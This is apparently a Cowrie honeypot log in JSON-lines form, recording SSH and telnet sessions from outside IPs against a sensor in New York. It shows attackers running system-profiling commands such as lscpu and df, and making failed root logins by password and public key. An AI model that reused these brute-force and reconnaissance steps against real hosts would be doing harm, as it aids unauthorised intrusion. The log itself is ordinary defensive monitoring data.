{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:43.427744Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:43.992279Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:43.996432Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:44.259657Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:44.825820Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:44.830111Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:45.091480Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.6","message":"Connection lost after 21.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:23:45.096621Z","src_ip":"168.167.228.74","session":"fa3c0d5c8c32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.170.116.45","src_port":50370,"dst_ip":"10.17.0.5","dst_port":23,"session":"d94d709eeb84","protocol":"telnet","message":"New connection: 31.170.116.45:50370 (10.17.0.5:23) [session: d94d709eeb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:24:32.639971Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33190,"dst_ip":"10.17.0.5","dst_port":22,"session":"5234d4cf184a","protocol":"ssh","message":"New connection: 168.167.228.74:33190 (10.17.0.5:22) [session: 5234d4cf184a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:24:35.713740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:24:35.718934Z","src_ip":"168.167.228.74","session":"5234d4cf184a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:24:35.979941Z","src_ip":"168.167.228.74","session":"5234d4cf184a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Bcd1234","message":"login attempt [root/@Bcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:24:37.051590Z","src_ip":"168.167.228.74","session":"5234d4cf184a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:24:38.315170Z","src_ip":"168.167.228.74","session":"5234d4cf184a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.023778200149536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:25:03.663654Z","src_ip":"31.170.116.45","session":"d94d709eeb84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.117.72.74","src_port":38856,"dst_ip":"10.17.0.5","dst_port":22,"session":"251fa1adfa1e","protocol":"ssh","message":"New connection: 176.117.72.74:38856 (10.17.0.5:22) [session: 251fa1adfa1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:15.481050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:15.485610Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:15.568065Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:3f:b5:bb:b9:ab:16:ff:37:68:a1:89:88:87:e0:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmPEOxUsPqzohu3cK6H7Lzlx6SzB8aydkwaMOa77t9lipBd5p8GCgodNU79GGIaALK91CllUjDdlGh/46v5yEnDnCv3iRmNfieH2AMX/qJgk4YwakH7171c1VnC3evx2/1aZ64gAqSCogv/OPpkaMs+fJH9upkJHT05nWiCtHePQuVr4aqdbUZaznoHdsdbuh4AJdefJFUp5tgStE6XGhW5PhSxSDv55uh/XwbvLMG/qxT3ON0zcPAR4R99AdFPN3LSA5svzcVJ3+s5zCGMNtNrwaWbA0YWrejo9Gz9qai+yq6Xcbrvvm7+D+g7ZW8g5nud7v2uNfzqWFeaenuGXGZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:3f:b5:bb:b9:ab:16:ff:37:68:a1:89:88:87:e0:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:15.961915Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:3f:b5:bb:b9:ab:16:ff:37:68:a1:89:88:87:e0:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmPEOxUsPqzohu3cK6H7Lzlx6SzB8aydkwaMOa77t9lipBd5p8GCgodNU79GGIaALK91CllUjDdlGh/46v5yEnDnCv3iRmNfieH2AMX/qJgk4YwakH7171c1VnC3evx2/1aZ64gAqSCogv/OPpkaMs+fJH9upkJHT05nWiCtHePQuVr4aqdbUZaznoHdsdbuh4AJdefJFUp5tgStE6XGhW5PhSxSDv55uh/XwbvLMG/qxT3ON0zcPAR4R99AdFPN3LSA5svzcVJ3+s5zCGMNtNrwaWbA0YWrejo9Gz9qai+yq6Xcbrvvm7+D+g7ZW8g5nud7v2uNfzqWFeaenuGXGZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:15.966320Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:40:cf:24:de:f0:6e:db:7c:4d:91:26:3d:b5:ce:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA7FRRmFnauGAa75bOJCdlcSoUchhTAX/mDilLhRyMB/Lu10oZHUdHwkfytDqrMG6se9+XLxpZisCYpRKrHXm6qHLyvOO0CN5Q+rOgoKvDkE9YgexZwW6pmMJEM1v48p2vieY/jRgXyCY5tPf4kOIuxwTF009PaUixqrXk2Be1s0M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:40:cf:24:de:f0:6e:db:7c:4d:91:26:3d:b5:ce:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:16.050784Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:40:cf:24:de:f0:6e:db:7c:4d:91:26:3d:b5:ce:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA7FRRmFnauGAa75bOJCdlcSoUchhTAX/mDilLhRyMB/Lu10oZHUdHwkfytDqrMG6se9+XLxpZisCYpRKrHXm6qHLyvOO0CN5Q+rOgoKvDkE9YgexZwW6pmMJEM1v48p2vieY/jRgXyCY5tPf4kOIuxwTF009PaUixqrXk2Be1s0M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:16.054763Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:e0:9f:16:c2:1f:49:e4:9b:83:9f:ba:8a:c5:60:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVFTiixxUH41a6NNbhCMB0tcLA1stKUemsehxbaFxpd8Ym5OPGYdmcZ1SkB/MqCgW8iENZ9p8cs1DFsJB3bby6OfzF2NlVQhW5G8ZL15c+HrKkwYwC4mZmyNwcZE/F90vmEJmnBz/8YaMka9+itWsGUgOG1V00yJtfdbJ+yiVfSNwbLaOvXC3cXJLnjPY6FBJ8oS/1dDCptSpYXbR9n/j/Y8mpgzlXQsDuDoSTmuIwJZrl1BPRp2Mi0EZXBht5PsxEc+/VVXmk/pOuI6TQiAkJe1Y0VwyBG4fjWxr8eQUZX7x7hCZuqMzNZCijav1NQIFnhXz5qK+OAuDba29kI2zf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:e0:9f:16:c2:1f:49:e4:9b:83:9f:ba:8a:c5:60:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:16.142006Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:e0:9f:16:c2:1f:49:e4:9b:83:9f:ba:8a:c5:60:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVFTiixxUH41a6NNbhCMB0tcLA1stKUemsehxbaFxpd8Ym5OPGYdmcZ1SkB/MqCgW8iENZ9p8cs1DFsJB3bby6OfzF2NlVQhW5G8ZL15c+HrKkwYwC4mZmyNwcZE/F90vmEJmnBz/8YaMka9+itWsGUgOG1V00yJtfdbJ+yiVfSNwbLaOvXC3cXJLnjPY6FBJ8oS/1dDCptSpYXbR9n/j/Y8mpgzlXQsDuDoSTmuIwJZrl1BPRp2Mi0EZXBht5PsxEc+/VVXmk/pOuI6TQiAkJe1Y0VwyBG4fjWxr8eQUZX7x7hCZuqMzNZCijav1NQIFnhXz5qK+OAuDba29kI2zf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:16.145763Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:48:2b:e7:a4:98:6f:8b:d5:63:89:db:65:8d:a4:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCt2B13hmDfKVEC017N1FGryZWyfg/dUwS5L0s39zwjzDc19+rT4xZf0Yz68Z0CxZcTsLjgotuFUFIwIyTK6AjJYlGDNmt4pZppFq+Jx5yWGwXHeF0s5UDGGcrUmCAoxq1R4x9VAjpMQSBmriRhBIif7TOsL+mRiwYgLcwIfSxB6xuyMuvZ0C8VY2CZTXOhUQooCatSBuRFCEUS4hozYzzw0wj/8lKYz6PCK5d1TGdaZY00x7lE5wdVYRFkjkZWmur3/kr5WXS6N05CEwfemo3gK2F1LGOARf1urmVrIPONAMr408XfvTkUph6tDBC0uxYYBUAx4/6kvuTNBZVRO11DlLKH1dVG5/dFTVGqeArirv46K3/SLT1S/PZt87W+dWy1cSR2G29sWhIEXk1y9Fvzd6EsI2D6FHRvTpal3/rMFaCA3d6ydb3Xuv5weMnSDcWroDunqXnN2TE7I45DibvE//JKO2Mi3+ir/4762Uc/tiAfPgA4QCIsJ0ZDZ/RXBspiYuVTSLOi422cqKS49Wnq1RQKGKyzN0x5bTwrt6sTloZrh8wCS930ZUiMjs116FaR5h1ho+ubOTMcYVNT4RxcbVIJMnoXofvBVS1WSHk4qxN0KAvU8S7Yd1rWhWI3jKMW/DTU7BFk3ivcM552nkfv0ly2JWAT17txOZr0MxSP3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:48:2b:e7:a4:98:6f:8b:d5:63:89:db:65:8d:a4:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:16.229608Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:48:2b:e7:a4:98:6f:8b:d5:63:89:db:65:8d:a4:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCt2B13hmDfKVEC017N1FGryZWyfg/dUwS5L0s39zwjzDc19+rT4xZf0Yz68Z0CxZcTsLjgotuFUFIwIyTK6AjJYlGDNmt4pZppFq+Jx5yWGwXHeF0s5UDGGcrUmCAoxq1R4x9VAjpMQSBmriRhBIif7TOsL+mRiwYgLcwIfSxB6xuyMuvZ0C8VY2CZTXOhUQooCatSBuRFCEUS4hozYzzw0wj/8lKYz6PCK5d1TGdaZY00x7lE5wdVYRFkjkZWmur3/kr5WXS6N05CEwfemo3gK2F1LGOARf1urmVrIPONAMr408XfvTkUph6tDBC0uxYYBUAx4/6kvuTNBZVRO11DlLKH1dVG5/dFTVGqeArirv46K3/SLT1S/PZt87W+dWy1cSR2G29sWhIEXk1y9Fvzd6EsI2D6FHRvTpal3/rMFaCA3d6ydb3Xuv5weMnSDcWroDunqXnN2TE7I45DibvE//JKO2Mi3+ir/4762Uc/tiAfPgA4QCIsJ0ZDZ/RXBspiYuVTSLOi422cqKS49Wnq1RQKGKyzN0x5bTwrt6sTloZrh8wCS930ZUiMjs116FaR5h1ho+ubOTMcYVNT4RxcbVIJMnoXofvBVS1WSHk4qxN0KAvU8S7Yd1rWhWI3jKMW/DTU7BFk3ivcM552nkfv0ly2JWAT17txOZr0MxSP3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:16.233483Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:ab:d8:8a:bf:bc:3c:92:64:dd:82:c8:7d:91:04:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOLmED2VFQaXi7TpoIwpzcH4Affbc730RY0RZrWB1NEm/wXWCtFDdoF+bBrasWy49dCv2pmeCx5Iswo5+uHKj4AT5C88GviuLaIhoVio6NPeXlqnNWARjmQ9kjmN08y8yEjiB52wKoknzPHYHpBTmbaHWsIuaanXy4C6jIrn7/MKZSvVUMGyyK73EvWqxx9CNSg6N9JW5tSHk6JKkv94ne2qA2yKw2L2YshwT+nFh4kheJF5gS9WlDm983/hJsu/E7YwLHCZDNFs5shbym2571Jerat55vQ/cN5QhW0jgIUF9OUGpfhcy1OMR6+d1QsqtTdLl7V5XJCCQUt3rBtdwb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:ab:d8:8a:bf:bc:3c:92:64:dd:82:c8:7d:91:04:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:16.316403Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:ab:d8:8a:bf:bc:3c:92:64:dd:82:c8:7d:91:04:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOLmED2VFQaXi7TpoIwpzcH4Affbc730RY0RZrWB1NEm/wXWCtFDdoF+bBrasWy49dCv2pmeCx5Iswo5+uHKj4AT5C88GviuLaIhoVio6NPeXlqnNWARjmQ9kjmN08y8yEjiB52wKoknzPHYHpBTmbaHWsIuaanXy4C6jIrn7/MKZSvVUMGyyK73EvWqxx9CNSg6N9JW5tSHk6JKkv94ne2qA2yKw2L2YshwT+nFh4kheJF5gS9WlDm983/hJsu/E7YwLHCZDNFs5shbym2571Jerat55vQ/cN5QhW0jgIUF9OUGpfhcy1OMR6+d1QsqtTdLl7V5XJCCQUt3rBtdwb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:16.320045Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:27:16.403585Z","src_ip":"176.117.72.74","session":"251fa1adfa1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":39996,"dst_ip":"10.17.0.5","dst_port":22,"session":"255c4f2476dc","protocol":"ssh","message":"New connection: 148.153.245.161:39996 (10.17.0.5:22) [session: 255c4f2476dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.551289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.556020Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.599676Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:c3:db:c7:24:b6:12:64:64:44:22:8b:3c:45:2a:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+eHQ7S64HoPiSS+h8/ojf+sxroSp9zkM/WglyL/nmQUPFaR5Z7mCrhT9eRUY0djwOb2N3alckAsl0XTZkZCbNakayXdnMpSiPmgFciM5wuKQVJPzbvp0sdTOo+KzkLCyA6eUN6SMikX77vGtPbODmUNwZln2wwdOWNJt57Lhk1VCgy7pNuCYDR8dt/7enBpnK9JKsmv2G08Wbdzb2hqCRvpAG8eqaA8lLtVvVvoAkL9Cwhl5hd9qOjB0XND0vzVZE3l2f3l1nV3QGFgOXleL64Fn3Gl3vySBCKftGSUyL1cF0xzH4xynJEJuMLXyeMlVGw+VGZ5KF1iP2g/oGFdbX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:c3:db:c7:24:b6:12:64:64:44:22:8b:3c:45:2a:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:29:12.795235Z","src_ip":"148.153.245.161","session":"255c4f2476dc","protocol":"ssh"}
